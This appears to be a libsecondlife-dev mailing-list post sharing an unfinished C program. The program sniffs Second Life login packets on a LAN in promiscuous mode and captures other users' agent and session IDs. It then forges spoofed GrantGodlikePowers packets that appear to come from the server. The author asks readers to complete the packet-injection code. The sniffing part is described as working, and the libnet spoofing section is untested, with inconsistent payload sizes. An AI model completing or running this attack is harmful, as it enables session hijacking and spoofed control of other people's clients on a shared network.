I have to leave right now to get ready to catch my plane to SFO, and my
laptop doesn't have a compiler on it so I won't be able to finish this
program before Friday. If anyone else can patch it together by then that
would be very cool, and we will bring back video! It's a little C
program that grabs CompleteAgentMovement packets off the LAN and
synthesizes incoming GrantGodlikePowers packets, same old hat except
we're working with other computers on the network instead of the local
machine. The libpcap filter and callback are all done and working, the
only part unfinished is the packet creation with libnet (I marked where
and what needs to be done).
John Hurliman
-------------------------------------------------
#include <pcap.h>
#include <libnet.h>
/* 4 bytes IP address */
typedef struct ip_address
{
u_char byte1;
u_char byte2;
u_char byte3;
u_char byte4;
}ip_address;
/* IPv4 header */
typedef struct ip_header
{
u_char ver_ihl; // Version (4 bits) + Internet header
length (4 bits)
u_char tos; // Type of service
u_short tlen; // Total length
u_short identification; // Identification
u_short flags_fo; // Flags (3 bits) + Fragment offset (13 bits)
u_char ttl; // Time to live
u_char proto; // Protocol
u_short crc; // Header checksum
ip_address saddr; // Source address
ip_address daddr; // Destination address
u_int op_pad; // Option + Padding
}ip_header;
/* UDP header*/
typedef struct udp_header
{
u_short sport; // Source port
u_short dport; // Destination port
u_short len; // Datagram length
u_short crc; // Checksum
}udp_header;
/* prototype of the packet handler */
void packet_handler(u_char *param, const struct pcap_pkthdr *header,
const u_char *pkt_data);
libnet_t *l;
char errbuf[PCAP_ERRBUF_SIZE];
main()
{
pcap_if_t *alldevs;
pcap_if_t *d;
int inum;
int i = 0;
pcap_t *adhandle;
u_int netmask;
char packet_filter[] = "ip and udp and udp[12:4] = 4294902047";
struct bpf_program fcode;
// Retrieve the device list
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
// Print the list
for (d=alldevs; d; d=d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
if (i == 0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return -1;
}
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
/* Check if the user specified a valid adapter */
if(inum < 1 || inum > i)
{
printf("\nAdapter number out of range.\n");
// Free the device list
pcap_freealldevs(alldevs);
return -1;
}
// Jump to the selected adapter
for (d = alldevs, i = 0; i < inum - 1; d = d->next, i++);
// Open the adapter
if ((adhandle = pcap_open_live(d->name, // name of the device
65536, // portion of the packet
to capture.
// 65536 grants that the
whole packet will be captured on all the MACs.
1, // promiscuous mode
(nonzero means promiscuous)
1000, // read timeout
errbuf // error buffer
)) == NULL)
{
fprintf(stderr,"\nUnable to open the adapter. %s is not
supported by WinPcap\n");
// Free the device list
pcap_freealldevs(alldevs);
return -1;
}
if (d->addresses != NULL)
// Retrieve the mask of the first address of the interface
netmask = ((struct sockaddr_in
*)(d->addresses->netmask))->sin_addr.S_un.S_addr;
else
/* If the interface is without addresses we suppose to be in a C
class network */
netmask = 0xffffff;
l = libnet_init(
LIBNET_RAW4, // injection type
d->name, // network interface
errbuf); // errbuf
if (l == NULL)
{
fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
exit(EXIT_FAILURE);
}
// compile the filter
if (pcap_compile(adhandle, &fcode, packet_filter, 1, netmask) < 0)
{
fprintf(stderr,"\nUnable to compile the packet filter. Check the
syntax.\n");
// Free the device list
pcap_freealldevs(alldevs);
return -1;
}
//set the filter
if (pcap_setfilter(adhandle, &fcode) < 0)
{
fprintf(stderr,"\nError setting the filter.\n");
/* Free the device list */
pcap_freealldevs(alldevs);
return -1;
}
printf("\nlistening on %s...\n", d->description);
// At this point, we don't need any more the device list. Free it
pcap_freealldevs(alldevs);
// start the capture
pcap_loop(adhandle, 0, packet_handler, NULL);
return 0;
}
void print_uuid(u_char* uuid)
{
int i;
for (i = 0; i < 16; i++) {
printf("%02x", *(uuid + i));
}
}
void packet_handler(u_char *param, const struct pcap_pkthdr *header,
const u_char *pkt_data)
{
char timestr[16];
ip_header *ih;
udp_header *uh;
u_char* payload;
u_char* godpacket;
u_char godpayload[40];
u_int ip_len;
u_long client_ip, server_ip;
u_short client_port, server_port;
libnet_ptag_t udp, ip;
int packet_size = LIBNET_IPV4_H + LIBNET_UDP_H + 40;
/* retrieve the position of the ip header */
ih = (ip_header *)(pkt_data + 14); //length of ethernet header
/* retrieve the position of the udp header */
ip_len = (ih->ver_ihl & 0xf) * 4;
uh = (udp_header *)((u_char*)ih + ip_len);
payload = (u_char*)uh + 8;
printf("AgentID: ");
print_uuid(payload + 8);
printf("\n");
printf("SessionID: ");
print_uuid(payload + 24);
printf("\n");
/* convert from network byte order to host byte order */
client_port = ntohs(uh->sport);
server_port = ntohs(uh->dport);
/* print ip addresses and udp ports */
printf("%d.%d.%d.%d:%d -> %d.%d.%d.%d:%d\n",
ih->saddr.byte1,
ih->saddr.byte2,
ih->saddr.byte3,
ih->saddr.byte4,
client_port,
ih->daddr.byte1,
ih->daddr.byte2,
ih->daddr.byte3,
ih->daddr.byte4,
server_port);
//
// BEGIN UNTESTED/INCOMPLETE LIBNET CODE
//
// The idea is to grab the outgoing CompleteAgentMovement packet
(already done since
// we're in the callback), and pull the source/client ip+port out,
the destination/server
// ip+port, the agentid, and the sessionid to construct a
GrantGodlikePowers packet that
// will be sent back to the client and appear to come from the server.
// GrantGodlikePowers == 8 byte (Low header), 49 byte SL payload ==
57 byte UDP payload
// We'll need the client (source) ip/port, server (destination)
ip/port, possibly the
// sequence number, the agentid, and the sessionid from the captured
packet above.
// GodLevel should be 255 and Token can be anything, zeroes work.
Packet needs to be
// written to the wire and that's about it
udp = libnet_build_udp(
server_port, /* source port */
client_port, /* destination port */
LIBNET_UDP_H + 57, /* packet length */
0, /* checksum */
payload, /* payload */
40, /* payload size */
l, /* libnet handle */
udp); /* libnet id */
ip = libnet_build_ipv4(
LIBNET_IPV4_H + 20 + 57 + LIBNET_UDP_H, /* length */
0, /* TOS */
242, /* IP ID */
0, /* IP Frag */
64, /* TTL */
IPPROTO_UDP, /* protocol */
0, /* checksum */
server_ip,
client_ip,
NULL, /* payload */
0, /* payload
size */
l, /* libnet
handle */
ip); /* libnet id */
if (ip == -1)
{
fprintf(stderr, "Can't build IP header: %s\n",
libnet_geterror(l));
return;
}
}
_______________________________________________
libsecondlife-dev mailing list
libsecondlife-dev@gna.org
https://mail.gna.org/listinfo/libsecondlife-dev